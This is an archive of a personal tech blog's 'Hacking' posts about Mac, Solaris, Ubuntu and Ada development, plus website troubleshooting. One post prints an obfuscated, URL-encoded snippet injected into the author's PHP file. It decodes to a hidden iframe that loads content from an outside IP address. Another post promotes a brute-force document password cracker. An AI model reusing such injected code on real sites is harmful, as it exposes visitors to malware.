Pragmatic Revelations » Hacking

Catching HTML bugs with Safari 5

Adrian Hoe — Thu, 08 Jul 2010 00:45:28 +0000

A bug in a seemingly harmless HTML code had been bugging me for almost 2 weeks. I was sort of yanking my hair while trying to trace the bug which messed up the HTML page. The debugging task was even harder because I work on a HTML template with an extension .THTML. The template does not only contain standard HTML but also tags which are only recognized by AWS (Ada Web Server) . This template file is parsed by the web application (I am developing), which has AWS library, before it is dispatched as raw HTML code to a browser.

In my design, I break down the HTML template into header, body and footer so that I can reuse the common codes in header and footer. That means, all the body templates are without tag. This missing tag disables the syntax-coloring feature of code editor, leading to a more laborious code reading.

Before this, I had gone through every line of html source code in the template file umpteen times. This “obscure” bug, if not removed, would throw a monkey wrench in my works. I browsed the Internet and read articles in hope that I would get some clues. So, I was reading a few articles about Extensions in Safari 5. Extensions are not really impressive to me as I do not need to add missing functionalities to my browser. Safari itself is more than enough for my daily browsing activities. Somehow, my curiosity had driven me to enable the Develop menu in Safari 5. After activating it, I noticed some debugging tools in the menu. I enabled the web inspector by selecting Show Web Inspector in the Develop menu (Figure 1) then navigated to the web page I wanted to debug. To use these debugging tools, the Develop menu must first be activated. Here is a simple guide to enabling the menu.

Figure 1

Safari 5 immediately detected two error messages as shown in Figure 2. These two errors were easily corrected. After removing these unmatched tags, my web page still did not show up properly with the intended layout.

Figure 2

Then I selected the Elements tab and it showed me the page source in debugging mode as shown in Figure 3. I instantly spotted the

tag which was supposed to be in the

tag.

Figure 3

I clicked on the little grey triangles in the left pane to expand the

tag and the

Backup your Mac with AppleScript

Adrian Hoe — Fri, 17 Apr 2009 15:45:50 +0000

All programmers are lazy. They want to automate tasks as much as they can. Because of this uniquely great habit, they have developed countless of useful software.

Ok. I am lazy. I have been using rsync to sync folders I am working on between my Macs. I have been using command line scripts in Terminal for almost two years and finally I have gotten lazy over the task.

The thing is, I need to execute the scripts in Terminal every time I want to synch my folders. Of course, I could simply use cron to automate the tasks at specific time but I ran the risk to cause havoc between the folders on different Macs. It is best not to cron the task.

So, I learned up AppleScript and after a ten-minute hack, I wrote a nice AppleScripts to do the job. It is quick and dirty.

set debug to false

with timeout of (30 * 60) seconds
	tell application "Terminal"
		set Window_Title to "Sync Documents"
		set Rsync_Cmd to "rsync -acrtv --delete
			/Users/username/Documents/
			username@xxx:Documents"
		set output_doc to do shell script Rsync_Cmd
		choose from list paragraphs of output_doc with prompt
			"Result:" with title Window_Title with empty
			selection allowed
	end tell
end timeout

Copy the script to ~/Library/Scripts/Applications/Finder and save it as “sync documents.scpt”. Then launch Script Editor to edit username to your login name and xxx to your Mac IP address or computer name. This script will sync your Documents folder under your user home directory. To execute this AppleScript, at Finder, click on the script icon on the menu bar and select the script to launch.

rsync uses ssh. If you have not setup a password-less ssh login, you will need ssh-askpass in /usr/libexec. Unfortunately, it does not ship with Mac OS X. You can get it at Joe Mocker’s weblog.

The new WordPress

Adrian Hoe — Thu, 05 Mar 2009 03:55:04 +0000

Just finished upgrading WordPress to 2.7.1 with a totally new user interface. I still prefer the one in 2.6.x so I guess I need a little time to get use to the new UI.

The upgrade is inevitable because some of my sites were affected by Yahoo! Counter malicious malware. It is a nasty injection of script. I could not locate where it was injected and my web host wasn’t very helpful. I decided to upgrade, hopefully, to wipe out the code injection.

Now, I have to file a request to Google to clear the malware listing of my sites.

A good head start

Adrian Hoe — Thu, 01 Jan 2009 15:46:31 +0000

Happy New Year 2009 buddies!

It seems like a good head start for me. Everything I planned for today seems to be smooth sailing although I am having one problem which I do not know why it happens. I guess I will need to toy with it and/or hack it to learn why it isn’t behaving as it supposed to be. If everything is running perfect before end of this month, I will acquire an iPod Touch to proceed further. This will be my first wish on this very first day of 2009.

Finder hang in Leopard

Adrian Hoe — Thu, 23 Oct 2008 13:49:37 +0000

When I returned home this evening, LA told me her applications had hung. I checked and found not only that, the Finder was not responsive too. I had no choice but to power off and to restart the Mac Mini again. This had also affected my user account. The Finder had failed to launch after login and the Dock did not appear as well. But fortunately root user account was not badly affected.

I Googled and found some articles and solutions here, here and here. I exhausted all the methods and I did not have DivXNetworks and ApplicationEnhancer.bundle in the directories mentioned in these links. I decided to go my own way.

What I did was to delete everything that was related to DivX. Since I did not have DivXNetworks, so I removed DivX folders in “/Library/Application Support” and “~/Library/Application Support” and also the DivX programs in Applications.

After the deletion, Finder still could not launch properly. I launched Console.app to examine system logs and found some errors in cache files com.apple.LaunchedServices*. I removed everything with com.apple.LaunchedServices in /Library/Caches.

Viola! Everything is back to normal again. DivX is a third party enhancement software and is not very stable. It seems like DivX has messed up with the system caches and somehow prevented Finder to launch.

I have spent two and half hours mingling with this problem. I hope my experience will save some of your time if you have the same problem as mine. I am going to take my supper.

Good luck!

Subversion client hangs after post-commit

Adrian Hoe — Mon, 09 Jun 2008 08:29:52 +0000

I had been hit by this problem since I setup Subversion on Ubuntu in January. The svnserve was properly invoked on Ubuntu server but whenever any svn client was trying to commit something back to the server, the client would hang for hours before it prompted an error: “Connection reset by peers.”

I searched all the Subversion and Ubuntu forums but could not find any solution to my problem. In the past months, I tried to identify the source of the problem and even tried many solutions suggested by people on these forums but the problem persisted. I had been committing to svn server with post commit email notification turned off and lost quite a number of post commit message. I used to keep track of changes by these email notification.

Yesterdat, I was trying my luck again and I accidentally noticed sendmail and sendmail-mta were called after commit. A look into syslog confirmed that sendmail process was put into sleep by some unknown reason. Failing to identify the cause, I removed sendmail and related packages from my Ubuntu server and installed Exim4. It is claimed to be easier to installed and configured than sendmail. The problem diminished after I got exim4 up and running. Now I am able to receive post commit email notification after every svn commit. Every commit takes a few seconds to complete after this. Problem resolved.

Hacker and Cracker

Adrian Hoe — Wed, 21 May 2008 08:57:08 +0000

I received an email from my sister, M. In her email, she pointed out I should not label myself as “hacker”. Well, I could not agree to her opinion so I decided to write this post entry to clear the name for all hackers.

Many people have watched too much Hollywood movies and have developed a perception that hackers are bad guys. They do not understand, nor can distinguish the difference between Hacker and Cracker.

Very well, Hacker and Cracker are like Good Sorcerer and Bad Sorcerer. Hackers are generally referring to a group of programmers or software engineers who dwell into codes of a computer system to find faults or loop holes so that the functionality, usually, security of the computer system can be improved. Hackers are also contributing to many open source device drivers to be used in open source software such as Linux. They study how a device communicates with a computer system without any documentation from the manufacturer (sometimes, some device manufacturers are reluctant to release technical information fearing their competitors may steal their secrets) and write codes to allow the device to communicate with the operating system.

Some hackers visit websites to look for security loop holes and put a file there to indicate their successful hack. Usually, they cause no disruption or damage but to alert system administrator of such security vulnerabilities. One of my website was hacked by hacker from Turkey last week. No damage or disruption caused but simply alerted me of security vulnerability. I quickly corrected the security flaw.

Hackers also study computer codes (binary or source) to learn about a computer software system so to rebuild another similar computer software system for the interest of know-how or to improve the software system. Instead of hacking, reverse engineering best described this type of activity.

Crackers, on the other hand, have the intention to harm or steal. They look for security vulnerabilities to get access into your computer system to cause disruption or steal your information for illicit purposes. Their ultimate goal is to cause damage or to gain something from you to be used for illicit activities, such as stealing your financial accounts or credit cards data for their financial gain.

There are many hacker organizations, for instance, BlackHat. It holds many international technical conferences and training around the world to improve information security.

Laypersons who do not understand the meaning of hacker generally think hacker is a bad guy. Being a hacker myself (sometimes), I just want to clear the name for hackers. And to show the good nature of a hacker, please read here and here.

IP Flooding

Adrian Hoe — Tue, 22 Jan 2008 06:17:46 +0000

I am experiencing IP flooding on my router. It notifies me by email about this attack. Right now, I have identified the source and hopefully I can nail this attacker soon. This is not the first time I experience IP flooding. I have received quite many email notifications in the past 3 weeks but I was out. It is coincident that I am still at my computers solving some server problems.

SVN setup

Adrian Hoe — Tue, 22 Jan 2008 03:53:16 +0000

I’ve finally found time to setup svn at my home net after so many months. My svn server was down when my previous Linux box was down with a dead hard disk last year. The setup was quite a brisk. I had everything installed and configured last night. The test for remote access using a url was successful. I could import, checkout and check in. Because it was already late, about 1AM, I felt rather tire and went to bed.

This morning, I hacked some codes to provide a rather informative post commit email notification. All are done except the check in will stall. It takes a long time (and possibly hang!). I have yet to fully test before I begin my development project again.

Lost your password?

Adrian Hoe — Tue, 08 Jan 2008 15:39:12 +0000

There goes year-end and you need to prepare your new year budget. You retrieve an Excel budgeting file to work on. You have not been touching this file for a year and you encounter problem. You can’t remember the password to unlock the Excel file. You can’t recall where you have written down the password either. You need to do the budgeting for first review in the board meeting tomorrow. What should you do?

You need a Excel password recovery software. It is an easy to use software to unlock the password for Microsoft Word, Excel and Access. Password-Studio Pro cracks the password from instantly to within minutes. It uses Smart Dictionary and Bruteforce hacking methods. With Smart Dictionary, it checks through 5.8 million common password combinations in a matter of minutes.

Password-Studio Pro cracks your password as easy as 1-2-3. First, start the wizard. Second, select an attacking method. Third, reap your rewards.

Steganography and Information Security

Adrian Hoe — Tue, 11 Dec 2007 10:19:02 +0000

One of the major threats in this information age is the exposure of sensitive information in the Internet. The most common method of securing information is through encryption technology. Today, 128-bit technology is the commonly used encryption method in emails and documents. Recent upheaval as my ISP closing down port 25 for SMTP (Simple Mail Transfer Protocol) has rung an alarm to my computing needs on the Internet. My ISP’s decision is to curb spammers who have abused direct SMTP access to email servers. The act is a foolish one as this will not stop spams but at the same time, it affects those genuine users.

A 128-bit encryption can be broken into with cluster computer. A cluster computer consists of computers, called nodes, with one or more CPU. These computers are connected to a network. A special program capable of distributing calculation tasks to all the nodes is needed. This architecture is called Beowulf. Breaking a 128-bit encryption is just a matter of time depending on the number of nodes and the number of CPUs on each node.

My ISP forces all direct SMTP connection to be routed to an unsecured proxy server. As an emergency contingency to my Internet use, I quickly setup encryption for my email client. So far, the closing of port 25 has not affected me.

As I have the need to send sensitive work information across the Net, I feel the encryption is not enough on a unsecured proxy server. I would elevate the level of information security by using steganography together with encryption.

Steganography is a technique to embed information to a digital photo or picture without altering the photo or picture at eye level. The technique uses advanced algorithm to manipulate bits of data in the digital image with the bits from the information I am going to send. To extract the information from the encrypted digital image, an original image is the key. Only my intended recipient has an original copy of the digital image.

Information Forensics

Adrian Hoe — Tue, 11 Dec 2007 03:19:52 +0000

What is information forensics? Information forensics is a science of investigation into systemic processes that produce information. Systemic processes utilize technology, primarily computing technology, in creating, delivering, storing, evaluating and processing of information. This process is usually complement by manual process. Information forensics investigation dwells into the aspect of creation, operation and evolution of the enterprise information.

My first exposure to information forensics was during my project seeding at UTAR. Dr. Robert Tee was a good friend of mine and he exposed me to information forensics. Although we did not dwell too much deeper into it, I did some research myself and practice it. I provide Information Security Assessment Service to my clients on demand basis.

Information forensics is also very useful for SEO (Search Engine Optimization). My current SEO effort has fully utilized my skill in information forensics investigation to optimize my blog search results on search engines. I also utilize this skill to investigate the visiting patterns of my visitors by cross-referencing their IP addresses from various sources, visiting destination, search criteria, and other interests. From this information, I can have a deeper understanding of the visiting habits of my visitors and identify their search interest. To date, I have identified some spammers and reported them.

I am amazed how information forensics investigation helps me in SEO. If you would like more information about SEO or ISAS services, please visit here.

HOWTO – SCIM and Ubuntu Gutsy Gibbon

Adrian Hoe — Mon, 22 Oct 2007 03:57:40 +0000

Ubuntu 7.10, code named “Gutsy Gibbon”, has been released. I just finished upgrading from Feisty Fawn (7.04) to Gutsy Gibbon. The upgrade (downloading, unpacking, removing, installing, configuring and cleaning) took about 6 hours to complete.

The upgrade was smooth and without any problems except it broke my scim. I have exhausted the search on Internet for a fix but was disappointed. So, I tried to experiment with a few methods based on the information I had on the Internet and came up a work around for this problem.

Referring to my Chinese Input HOWTO here, I assume you have installed scim in Feisty Fawn (7.04) and later upgraded to Gutsy Gibbon (7.10).

Goto System -> Preference -> Sessions. Delete the “Input Method” as created in my previous HOWTO.
Uninstall and install again scim and all suggested packages.
Click on menu: System -> Preferences ->Sessions
- Click Startup Program Tab then [New] button.
- Name: Input Methods
- Command: scim -d
- Click [OK] button
Logout and login again.
Go to System -> Administration -> Language Support
- Select your language(s) support. In my case, Chinese and Japanese.
- Check the box at the bottom, Input Method, to activate complex characters input. Apply, uncheck it, apply and check again and apply then quit.
- Restart Language Support to make sure the box is checked.
Logout and restart your system.
Login and launch any application, e.g. gedit or Terminal. Right click and select “Input Method” and check “SCIM Input Method”.
Now click on the “Input Method” tray icon on the top left of your screen to choose your desired language support and input method.

Now, you should be able to switch input method in some applications such as Terminal or gedit. It still does not work on every applications such as Open Office. To activate scim for every applications, use the command line (or Terminal):

Check your locale:
```
$ locale | grep LANG=
```
The answer would be something like below, which is in my case:
```
LANG=en_US.UTF-8
```
Now, with the following command, insall scim-qtimm and tell your system you want to use scim for your input method in your locale:
```
$ sudo apt-get install scim-qtimm
$ im-switch -z en_US -s scim
```
Logout and login again and start Open Office. You should now able to select your input method in every applications.

This should also work (with instructions from my previous post here) if you have a fresh installation of Gutsy Gibbon. Please let me know if this works for you.

HOWTO – Building GtkAda project with xcode

Adrian Hoe — Sun, 07 Oct 2007 03:35:43 +0000

My current project (here) requires to develop a GUI application for displaying some JPEG images. I intended to develop a native Mac OS X GUI application using Carbon or Cocoa. Since there is no Cocoa binding in Ada, I narrowed down my option to Carbon. I hit on the wall of frustration where Carbon binding on MacAda.org is very old and supports only gnat-3.3 and PPC (I hope I am not wrong on this).

I have to turn to Gtk+ which will require GtkAda and X11 on Mac OS X. I compiled my test code written for GtkAda very well on console. But when I imported the codes into xcode project, it did not compile. I got the following errors:

error: "gtk.ads" must be recompiled ("a-except.ads" has been modified)
error: "gdk.ads" must be recompiled ("a-except.ads" has been modified)
error: "glib.adb" must be recompiled ("a-except.ads" has been modified)
error: "glib-object.adb" must be recompiled ("a-except.ads" has been modified)
error: "glib-type_conversion_hooks.adb" must be recompiled ("a-except.ads" has been modified)
error: "gtkada.ads" must be recompiled ("system.ads" has been modified)
error: "gtkada-bindings.adb" must be recompiled ("a-except.ads" has been modified)
error: "gtkada-c.adb" must be recompiled ("system.ads" has been modified)
...

I sought help from GNAT-OSX mailing list (September 2007 archive), but to no avail. I spent many days investigating the cause but to find out that gtkada source codes would be compiled and produced .ali and .o files in the build directory when I used gnatmake to build my GtkAda application.

$ gnatmake testproject.adb `gtkada-config`

To build a GtkAda project in xcode, follow the instructions below:

In the project browser, under the Group & Files column, locate Targets and the your project name. Right click your project name and select Add Link Binary With Libraries. Select GtkAda libraries from /opt/local/lib/gtkada and necessary libraries from /opt/local/lib.
Select your project name and click on the Info button. In Build tab, select Search Paths under Collection. Include /opt/local/include/gtkada in Header Search Paths. Also include /opt/local/lib and /opt/local/lib/gtkada in Library Search Paths.
Select Source in your project. Select Add to Project … in Project menu. Include all the GtkAda source files in /opt/local/include/gtkada.

HOWTO – Installing gnat-4.3 on Mac OS X

Adrian Hoe — Thu, 04 Oct 2007 15:15:24 +0000

Perhaps someone has written this before but it seems no where to be found. So I just write a simple HOWTO about installing gnat-4.3 on Mac OS X.

My installation is on MacBook 2.16GHz Intel Core 2 Duo running Mac OS 10.4.10 with Xcode 2.4.1. Pre-requisition is to have Xcode installed before installing gnat-4.3.

Go to MacAda.org to download gnat-4.3 and other necessary tools. Launch the installation in the disk image.

Make the following softlinks:


$ ln -s /usr/local/ada-4.3/bin/gcc /usr/bin/gcc-4.3
$ ln -s /usr/local/ada-4.3/bin/g++ /usr/bin/g++-4.3

Launch gcc_select:
```
$ sudo gcc_select 4.3
```

Adrenaline Hack

Adrian Hoe — Tue, 25 Sep 2007 06:39:21 +0000

Wow! I’ve done it! Yes! Yes! Yes!

After a successful hack to receive a server-push JPEG stream from a video server (more story here), the next challenge for me was to display the JPEG in a GUI window.

I have been trying to get Carbon binding to work with gnat 4.3 on xcode but I am forced to abandon it for a while. I switched my target to GtkAda which will require X11 on Mac OS X. One plus side is that my application will be platform independent if I use Gtk/GtkAda. That means my application can be compiled and run on Linux, Solaris and Windows with the platform-independent GUI. More business may be and hopefully.

I was working to get GtkAda to work on my Mac since yesterday but I had corrupted some of the files I installed with Fink. Fortunately, I have a backup (actually I copied) on my MacBook but I guess I won’t need it anymore since the Gtk+2 and GtkAda are working on my Mac Mini. I will delete the copy on my MacBook later and install it with the working Gtk+/GtkAda.

I spent the entire morning and noon to write a single window, stripped down application to display the JPEG image I downloaded using the application I worked on earlier. I could not get the result. After many hours of hacking, I finally got it to work!

It is so rewarding to see it happens and I have got a good dose of adrenaline today. The feeling is difficult to describe. So it is difficult for other people to feel the excitement and the rewarding state of mind I am into.

The next challenge is to write an experimental application to continuously receive multiple streams of JPEG images and display them in multiple frames in a window, the last and toughest task with parallelism involving socket and GUI. After this, comes the serious software development by integrating all these experimental applications into a nice GUI application.

Server-Push JPEG Stream

Adrian Hoe — Thu, 13 Sep 2007 15:46:24 +0000

I am working on a video server project since last week. This project is to develop a client software running on Mac OS X to control a video server and to retrieve streams of JPEG images from it. And of course, I am going to develop with Ada together with AWS (Ada Web Server).

Up to this point, I am able to connect to the video server with AWS and retrieve a stream of JPEG images from the video server. I have been able to manually extract JPEG images from the stream identified by SOI (0xFFD8) and EOI (0xFFD9). But some of the images extracted from the stream are not recognized as JPEG file while some images appeared to be corrupted. I am totally puzzled by this behavior.

Could it be the size of the stream buffer (512 bytes) causing the corruption? Could it be the output of the received stream to a disk file delay the receiving process?

Here’s a snip of my Ada code:


     ...
     Data         : Ada.Streams.Stream_Element_Array (1 .. 512);
     ...
     loop
        AWS.CLient.Read_Some (Connection, Data, Offset);
        exit when Offset < Data'First or Count > 512_000;
        Ada.Streams.Stream_IO.Write (File_Handler, Data);
        Count := Count + Integer (Offset);
     end loop;
     ...

It is quite fun spending entire day hacking the server-push stream and the JPEG images. It has been a long time since my last hacking. Welcome back to the reality!

Peculiar behavior of Sed

Adrian Hoe — Fri, 06 Apr 2007 19:02:22 +0000

What is Sed?

Sed is the ultimate stream editor. If that sounds strange, picture a stream flowing through a pipe. Okay, you can’t see a stream if it’s inside a pipe. That’s what I get for attempting a flowing analogy. You want literature, read James Joyce.

Anyhow, sed is a marvelous utility. Unfortunately, most people never learn its real power. The language is very simple, but the documentation is terrible. The Solaris on-line manual pages for sed are five pages long, and two of those pages describe the 34 different errors you can get. A program that spends as much space documenting the errors than it does documenting the language has a serious learning curve.

You can read more about Sed here.

My project uses a thick binding of PostgreSQL/MySQL called APQ. APQ is a project by Warren and I helped to host it at my server. See my post here. The configure and make process are not really stable which I think is due to various version of MySQL and the Linux tools such as sed.

To build APQ, first, two MySQL include files, errmsg.h and mysqld_error.h need to be parsed. These files contain MySQL error codes and they need to be parsed and translated into Ada syntax. This translated Ada code will be inserted into apq_mysql.ads.

However, this parsing and translation process are not working correctly as they supposed to be. When I look into this problem, I found a peculiar abnormality. The parser uses sed. When I built APQ on Mac OS X, FC5 and Solaris (Intel), the result in apq_mysql.ads is not consistent on these different OS.

After I upgraded to Mac OS X 10.4.9, the parser refused to work with some error messages which I think caused by sed. I was mingling with the configure script until this hour. Suddenly, something struck my mind. Why do I need to mingle with configure? The problem is the parsing and it deserves the highest priority. The build configuration does not perform a thorough check of the environment but it still works fine at this point. So, I moved my priority to write a parser in Ada to solve the parsing problem. This light shed on me at this whee hour in the morning and I was really too tire to continue working on the parser.

Website security compromised

Adrian Hoe — Fri, 30 Mar 2007 09:25:46 +0000

I noticed a drastic reduce of visitors to my website in February and March. I was wondering what was happening. On March 8, I suddenly received a notification email from Google Search Quality team informing that my website was a hazard to visitors and it might contain some malware or badware. I was shocked to know about it and I Googled for my site and found that my sites had been tagged “This site may harm your computer” and visitors could not access to my website following the link from Google search page.

With the help from my hosting provider, I found a piece of malicious obfuscated code in JavaScript had been intentionally embedded into one of the .PhP file. Part of the obfuscated code read like this:


%3C%69%66%72%61%6D%65%20%73%72%63%3D%20%68%74%74%70%3A%2F%2F%38%31%2E%39%35%2E%31%34%36%2E%39%38%2F%69%6E%64%65%78%2E%68%74%6D%6C%20%66%72%61%6D%65%62%6F%72%64%65%72%3D%22%30%22%20%77%69%64%74%68%3D%22%31%22%20%68%65%69%67%68%74%3D%22%31%22%20%73%63%72%6F%6C%6C%69%6E%67%3D%22%6E%6F%22%20%6E%61%6D%65%3D%63%6F%75%6E%74%65%72%3E%3C%2F%69%66%72%61%6D%65%3E

I removed the malicious code from my .PhP script file and informed Google team. It really took them quite some time to remove my website from their list. A moment ago, I found out that my site has been de-listed from Google’s list of malicious websites.

Ironically, today I received an announcement from my web hosting provider that they implement HackerSafe Certification on all websites hosted with them. Here’s a snapshot of their newsletter:

I am all tied up to carefully inspect and decipher the code. Any taker?

What a stupid Digi service

Adrian Hoe — Thu, 28 Dec 2006 10:35:25 +0000

I registered my mom’s Digi prepaid number at Digi’s Melaka Raya office using my MyKad. The man slotted my MyKad to a reader and after a while he confirmed that my line had been registered. Today, when I was trying to make a call from my mom’s Digi number, it said that no outgoing call was allowed. I checked the validity and it expires on 12/31. There are 3 more days before the validity expires. I am going to Digi office tomorrow to make hell lot of noise, for sure.

The prepaid registration drive is really hectic and stupid. The government thinks that it can deter unlawful use but I don’t think so. There are many other ways to obtain a prepaid cell phone numbers without needing to register with true identity. Like in Taiwan, prepaid cell phones need to be registered but they still have lots of problems with “ghost” cell phones. I was able to register one for myself without much fuss. An advanced country like Taiwan can’t even solve the problem and our country is thinking that it can. What a childish assumption! That makes the whole thing looks so stupid.

Another thing which I have observed is that personal information are revealed when someone register a prepaid cell service using MyKad at dealers. The dealers are equipped with MyKad reader and software to read personal details from MyKad and these information including address will be displayed on the computer screen. Women please beware of this. You may be tracked. Perpetrator may use these information to hunt you down. So, everyone, please beware when you are registering your prepaid cell service at dealers. Make sure they don’t copy your personal information. Your information displayed in the window can be easily copied by pressing ALT + Print Scrn. This will capture the current window instantly.
They think it is cool to register using MyKad and IT gadgets but that opens up a whole new opportunity for crimes. Please beware and make the government to change its policy that no one can read and display personal details without the presence of MyKad holder and these reader and software must be properly audited by trusted organization to make sure it does not save these information stealthily.

Mac Mini USB port hangs!

Adrian Hoe — Sun, 05 Nov 2006 23:02:53 +0000

I tried to connect a USB card reader via an USB extension (1 to 1 port) which was connected to one of the USB port on Pluto. The power light on the reader came on and I inserted a CF card into the reader. The light on on the card slot did not turn on. I tried many times and still could not mount my CF card.

I unplugged the USB extension and connect the card reader directly to USB port and it was still unmountable. I unplugged the optical mouse from another USB port and plugged it into the troubled port. The red LED of the optical mouse did not turn on. I tried with a keyboard and had no response on the keyboard.

Finally, I decided to restart Pluto. After the restart, the troubled USB port works again. I wonder what caused the USB port to hang. Is it the USB extension? Is it a software glitch? I sure hope that it is not a hardware problem.

Weird formatting behavior

Adrian Hoe — Thu, 02 Nov 2006 09:13:27 +0000

In my Solaris 10 post, there was a weird formatting behavior which troubled me in last 24 hours. The “#” were not aligned in same column. For example, it looks like this:


Create two files in /etc

# echo 195.168.24.1 > /etc/defaultrouter
# echo nameserver DNS_ip_address_1 >> /etc/resolv.conf
# echo nameserver DNS_ip_address_2 >> /etc/resolv.conf

I came across Brian’s website and found his

 and  tags look great and I followed and modified his css stylesheet for my use. There was no problem before I added these tags because I used  tag for this purpose. I could not solve the problem and I emailed Brian. After a couple of emails, I was still unable to solve the problem. In his last email, he said:
…I suspect it has something to do with the css code.  Try commenting out the white-space and word-wrap commands from your pre tag style and see what happens…
The idea rang in my head and I did some experiments and found the culprit was the 
 tag. It contains “text-indent:-5px;”. I edited the  tag in the html of Solaris 10 post and the problem is resolved:


Thanks Brian, if you are reading this.



Solaris 10
Adrian Hoe — Sun, 29 Oct 2006 16:02:23 +0000
Pyxis1 was down two months ago. I decided to try to revive it last Friday. At first, I was thinking of installing either FC5 (Fedora Core 5) or Debian. On second thought, I have had enough with Linux. I am running SPARC/Solaris 9 on Pyxis2 (Sun Blade 150). I always wanted to try out Solaris 10 but I don’t want to mess with the existing Solaris 9 on Pyxis2. There is a saying, “Don’t fix thing if it ain’t broken.” and I always reminded myself. Pyxis1 has provided an opportunity to try out Solaris 10. So I started to search for the CDs which I received from Sun Microsystems. I found it but it was quite outdated compare to the 6/06 version on Sun’s server. I immediately began downloading 6 CDs.
The problem with Linux is that every distro has their own way of doing things. This is pretty obvious in configuration and config files. Although all distros are based on the same kernel, yet every distro has different kernel version and variation in configurtion of their kernel and software components. Another dreadful problem is the online updates which break the integrity of Linux and software components. A few weeks after my first successful installation of FC5, I performed an online updates and it instantly broke some working components. Although my FC5 is still working, I have problem with Desktop Login, displaying .png files, and some administration applications stop working as well.
Solaris 10 is an excellent UNIX operating system. It is currently free. The release and Sun’s OpenSolaris has stirred some uproar in the Open Source community and IT industry as a whole. Solaris 10 is a very impressive operating system in terms of some features no other operating system can claim and some are not necessarily new, but have been implemented in an excellent way. But yet it is not perfect. An obvious example is the detection and configuration of hardware, such as NIC and sound card, are not polished.
It is assumed that Solaris will not be installed by novice. The installation need humongous effort and is painful. The graphical installtion is resource hungry. Without the minimum 400MB RAM, the installation resort to console installation. The installation process is not well polished as aforementioned. But I believe, the future Solaris will receive plenty of improvement if Sun is heading to Linux territory. By that time, even the faint hearted novice would be able to install Solaris effortlessly.
Once the installation is completed, the operating system whirs swiftly, making the its old nickname “Slowlaris” not applicable.
Saturday evening I began the installation. After the first installation, I could not get my networking to work. I searched for posts and articles about problems with installing Solaris 10 on x86. I thought it might be some steps which I had overlook. At night, I installed it for second time. It was getting too late and I was tired and I left the installation to go on while I went to bed. I woke up early Sunday morning to finish the installation. Again, I was still having networking problem. After reading some posts, I started my own investigation.
First, I found out that the Solaris installation failed to detect and to configure my NIC. It was an integrated Intel 10/100 on Compaq Evo D510 Small Form Factor PC. I performed an “ifconfig -a” and only showed the loopback.
# ifconfig -a
lo0: flags=2001000849 mtu 8232 index 1
inet 127.0.0.1 netmask ff000000

Next, I needed to determine if my NIC was there. So I did:
# prtconf -pv
It returned some results and I look for “Ethernet controller”:
Node 0x000011
assigned-addresses:  82054010.00000000.f8500000.00000000.0000100
0.81054014.00000000.00001000.00000000.00000040
reg: 00054000.00000000.00000000.00000000.00000000.02054010.0000
0000.00000000.00000000.00001000.01054014.00000000.00000000.000
00000.00000040
compatible: 'pci8086,103b.e11.12.81' + 'pci8086,103b.e11.12' +
' pcie11,12' + 'pci8086,103b.81' + 'pci8086,103b' + 'pciclass,020000' +
'pciclass, 0200'
model:  'Ethernet controller'
power-consumption:  00000001.00000001
fast-back-to-back:
devsel-speed:  00000001
interrupts:  00000001
max-latency:  00000038
min-grant:  00000008
subsystem-vendor-id:  00000e11
subsystem-id:  00000012
unit-address:  '8'
class-code:  00020000
revision-id:  00000081
vendor-id:  00008086
device-id:  0000103b
name:  'pcie11,12'
With this output, I was sure that I had my NIC on Pyxis1. From the identifying handle, “pci8086″, I was certain to use iprb interface for the configuration. These are the steps which I followed:

In /etc/driver_aliases, add
iprb "pci8086,103b"

Reboot the system with
# touch /reconfigure; reboot

Setup iprb with
# ifconfig iprb0 plumb
# ifconfig iprb0 inet 195.168.24.4 netmask 255.255.255.0 broadcast +
# ifconfig iprb0 up

Creeat /etc/hostname.iprb0
# echo pyxis1 > /etc/hostname.iprb0

In /etc/hosts, add
195.168.24.4     pyxis1   pyxis1

Create two files in /etc
# echo 195.168.24.1 > /etc/defaultrouter
# echo nameserver DNS_ip_address_1 >> /etc/resolv.conf
# echo nameserver DNS_ip_address_2 >> /etc/resolv.conf

Edit /etc/nsswitch.conf and add dns to line
host:         files dns

lastly
# route add deafult 195.168.24.1


After murdering millions of brain cells, the fun finally began. I login remotely from Pluto. Here are some screenshots of Solaris 10 on Pyxis1:





Migrated to WordPress
Adrian Hoe — Tue, 24 Oct 2006 14:59:46 +0000
I accidentally deleted my personal website directory two days ago. Since I had deleted the directory, I took this opportunity to redesign my personal web site during this festive season. I installed WordPress to my personal directory and migrated two blogs, Tech Grotto and Malacca’s Glog. The migration was successful.
I had 94 posts in Tech Grotto which made categorizing difficult. Anyhow, I managed to categorized posts from both blogs. Later in the evening, I hacked the Water theme and WordPress PHP source to modify the Water theme and moved About and Project page to the new site.



Tunnel X over SSH
Adrian Hoe — Sat, 14 Oct 2006 15:41:00 +0000
The drawback of Remote Desktop Login I posted 2 days ago is its slow speed. It takes a while to display the desktop login screen. Another drawback is it creates another X session at the server if you already have another running.
My laziness and  desire to start up applications and finish the job quickly makes me look further into the world of remote access. This leads me to X tunneling over SSH.
With X tunneling over SSH, I am able to run X applications (Linux FC5) on my preferred Mac OS X desktop, Pluto. The screenshot shows that I am running KDE Control Center (Linux FC5 on triton1) on Pluto (Mac OS X).

This is how I do it:

ForwardX11 needs to be enable. Edit /etc/ssh/ssh_config. Make sure you have ForwardX11Trusted yes is enabled in ssh_config.
On Mac OS X, start X11. At terminal, type
$ ssh -X username@ip_address


Start any X applications you like.





Remote Desktop Login from Mac
Adrian Hoe — Thu, 12 Oct 2006 15:06:00 +0000
Some friends told me the laziest programmer is the best and most creative programmer. When a person becomes older, he/she will become lazier.
Remote Desktop Login has been out there for some time ago. I did not try it. Remote Desktop Control has been useful for me occasionally. I had a bad experience with RDC when my Linux server crashed in early September. I was RDC from my SPARC/Solaris workstation. I stopped using RDC since then.
One drawback about RDC is that I have to login before I can access the desktop remotely.
Because of my eye condition, I feel lazy to switch between keyboards and mice and running from one room to another. I decided to check out Remote Desktop Login. It took me a while to understand. But after I tried it out, it was pretty easy though.
Here’s how I do it to login to SPARC/Solaris. Launch X11 from Mac OS X then
$ xhost +ip_address
$ Xnest :1 -query ip_address -geometry 1280x1024

According to some documentation, it is required to configure gdm on Linux boxes. I used the following to configure FC 5 (Fedora Core 5) box:

Edit /etc/gdm/custom.conf
Add RemoteGreeter=/usr/libexec/gdmlogin to [daemon] segment
Under [xdmcp] segment, change the line Enable=false to Enable=true
Restart gdm


With Remote Desktop Login, I don’t have to login before I remotely access the PC. It has also save me some money for investing in a KVM switch. I was thinking about hooking up some of my computers with a KVM switch. It will still be a mess with all the cables despite of its pricy tag. Remote Desktop Login is the best method for me at this moment. It allow me to become lazier because I no longer need to login at computers which I want access. I can login remotely, simple!



